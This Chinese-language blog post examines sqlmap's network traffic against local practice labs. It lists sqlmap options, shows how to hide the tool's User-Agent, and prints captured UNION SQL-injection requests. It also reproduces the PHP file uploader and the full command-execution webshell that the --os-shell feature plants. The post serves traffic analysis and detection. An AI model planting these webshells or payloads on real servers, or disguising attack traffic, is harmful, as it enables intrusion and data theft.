222

发布时间 2023-04-24 21:24:45作者: UHe

SQLMAP流量特征分析

测试靶场:pikachu
测试环境:PHP5.4、Apache 2.0、MYSQL5.0.10
测试工具:sqlmap 1.5.6.3

http://127.0.0.1/pikachu/vul/sqli/sqli_id.php

参数实例

-u "http://xx.xx.xx"	//从链接获取扫描目标,GET方式
-u "http://www.target.com/vuln.php" --data="id=1"	//从链接获取扫描目标,POST方式
-r 1.txt --dump -T oa_f1Agggg -D oa_db  -batch	//从文件中加载,处理POST数据包和cookie问题
-r 1.txt --current-db
-m urllist.txt//从文本中获取多个目标扫描,但是每一行只能有一个url

--dbs	//获取数据库
-D 数据库 --tables //获取表名
-D 数据库 -T 数据库表 --columns	//获取列名
-D 数据库 -T 数据库表 -C 数据库表名1,数据库表名2 --dump	//获取字段

-p	//指定参数
--os	//探测系统
--tamper	//修改注入的数据
-b,--banner	//返回数据库的版本号
-current-user	//当前数据库管理用户
--current-db	//当前连接的数据库
--is-dba	//判断当前的用户是否为管理,是的话会返回True
--users	//当前用户有权限读取包含所有用户的表的权限时,就可以列出所有管理用户,列出并破解数据库用户的hash。
--passwords	//当前用户有权限读取包含用户密码的彪的权限时,sqlmap会现列举出用户,然后列出hash,并尝试破解。

//设定探测风险等级
--risk	
共有四个风险等级,0-4,
默认是1会测试大部分的测试语句,
2会增加基于时间的测试语句,
3会增加OR语句的SQL注入测试
 
--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"	//设置请求头
--random-agent	//随机请求头User-Agent
默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org)
--proxy=http://127.0.0.1:8080	//设置代理
--delay=1		//设置延迟
--batch			//代表全自动 不用我们手动输入y/n

//设置回显等级,默认为1
-v 1
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认等级)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。

流量分析

UA头隐藏

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080

image
发现UA头为User-Agent: sqlmap/1.5.6.3#dev (http://sqlmap.org)

所以如果没有伪装UA头的话,攻击流量都会暴露sqlmap的版本
可以通过--user-agent自定义ua头

--user-agent="Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 

image
抓包流量分析
python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --dbs
sqlmap会先放一个数据包探测

GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

然后进行参数拼接pyload测试

GET /pikachu/vul/sqli/sqli_str.php?name=1%27%20UNION%20ALL%20SELECT%20CONCAT%280x71626a6a71%2CJSON_ARRAYAGG%28CONCAT_WS%280x76636a746365%2Cschema_name%29%29%2C0x7170707171%29%2CNULL%20FROM%20INFORMATION_SCHEMA.SCHEMATA%23&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=mb0t9ruh324v0pgj7t31i6gnm2
Connection: close

image
1' UNION ALL SELECT CONCAT(0x71626a6a71,IFNULL(CAST(schema_name AS NCHAR),0x20),0x7170707171),NULL FROM INFORMATION_SCHEMA.SCHEMATA#

osshell原理

python sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2" --proxy=http://127.0.0.1:8080 --os-shell

探测包

GET /pikachu/vul/sqli/sqli_str.php?name=1&submit=%E6%9F%A5%E8%AF%A2 HTTP/1.1
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101
Host: 127.0.0.1
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close

image
如图所示,利用into outfile的方式写入临时的php文件,该临时php文件可文件上传
image
解密后

<?php
if (isset($_REQUEST["upload"]))
{
    $dir = $_REQUEST["uploadDir"];
    if (phpversion() < '4.1.0')
    {
        $file = $HTTP_POST_FILES["file"]["name"];
        @move_uploaded_file($HTTP_POST_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    else
    {
        $file = $_FILES["file"]["name"];
        @move_uploaded_file($_FILES["file"]["tmp_name"], $dir . "/" . $file) or die;
    }
    @chmod($dir . "/" . $file, 0755);
    echo "File uploaded";
}
else
{
    echo "<form action=" . $_SERVER["PHP_SELF"] . " method=POST enctype=multipart/form-data><input type=hidden name=MAX_FILE_SIZE value=1000000000><b>sqlmap file uploader</b><br><input name=file type=file><br>to directory: <input type=text name=uploadDir value=E:\\Server\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-1\\> <input type=submit name=upload value=upload></form>";
}

尝试找到上传的文件的访问路径
image

image

image
通过临时的php文件来上传另外一个可命令执行的php文件(实际上是通过这个方式来防止写入命令马后直接被杀掉)

<?php
$c = $_REQUEST["cmd"];
@set_time_limit(0);
@ignore_user_abort(1);
@ini_set("max_execution_time", 0);
$z = @ini_get("disable_functions");
if (!empty($z))
{
    $z = preg_replace("/[, ]+/", ',', $z);
    $z = explode(',', $z);
    $z = array_map("trim", $z);
}
else
{
    $z = array();
}
$c = $c . " 2>&1\n";
function f($n)
{
    global $z;
    return is_callable($n) and !in_array($n, $z);
}
if (f("system"))
{
    ob_start();
    system($c);
    $w = ob_get_clean();
}
elseif (f("proc_open"))
{
    $y = proc_open($c, array(array(pipe, r), array(pipe, w), array(pipe, w)), $t);
    $w = NULL;
    while (!feof($t[1]))
    {
        $w .= fread($t[1], 512);
    }
    @proc_close($y);
}
elseif (f("shell_exec"))
{
    $w = shell_exec($c);
}
elseif (f("passthru"))
{
    ob_start();
    passthru($c);
    $w = ob_get_clean();
}
elseif (f("popen"))
{
    $x = popen($c, r);
    $w = NULL;
    if (is_resource($x))
    {
        while (!feof($x))
        {
            $w .= fread($x, 512);
        }
    }
    @pclose($x);
}
elseif (f("exec"))
{
    $w = array();
    exec($c, $w);
    $w = join(chr(10), $w) . chr(10);
}
else
{
    $w = 0;
}
echo "<pre>$w</pre>";
?>

然后sqlmap会尝试进行命令执行 echo command execution test

退出–os-shell后删除命令马

GET /Less-1/tmpbqsur.php?cmd=del%20%2FF%20%2FQ%20E%3A%5CServer%5Cphpstudy_pro%5CWWW%5Csqli-labs-master%5CLess-1%5Ctmpuajwx.php HTTP/1.1 
Cache-Control: no-cache 
User-Agent: sqlmap/1.5.7.1#dev (http://sqlmap.org)
Host: www.sqli.com
Accept: */*
Accept-Encoding: gzip, deflate
Connection: close```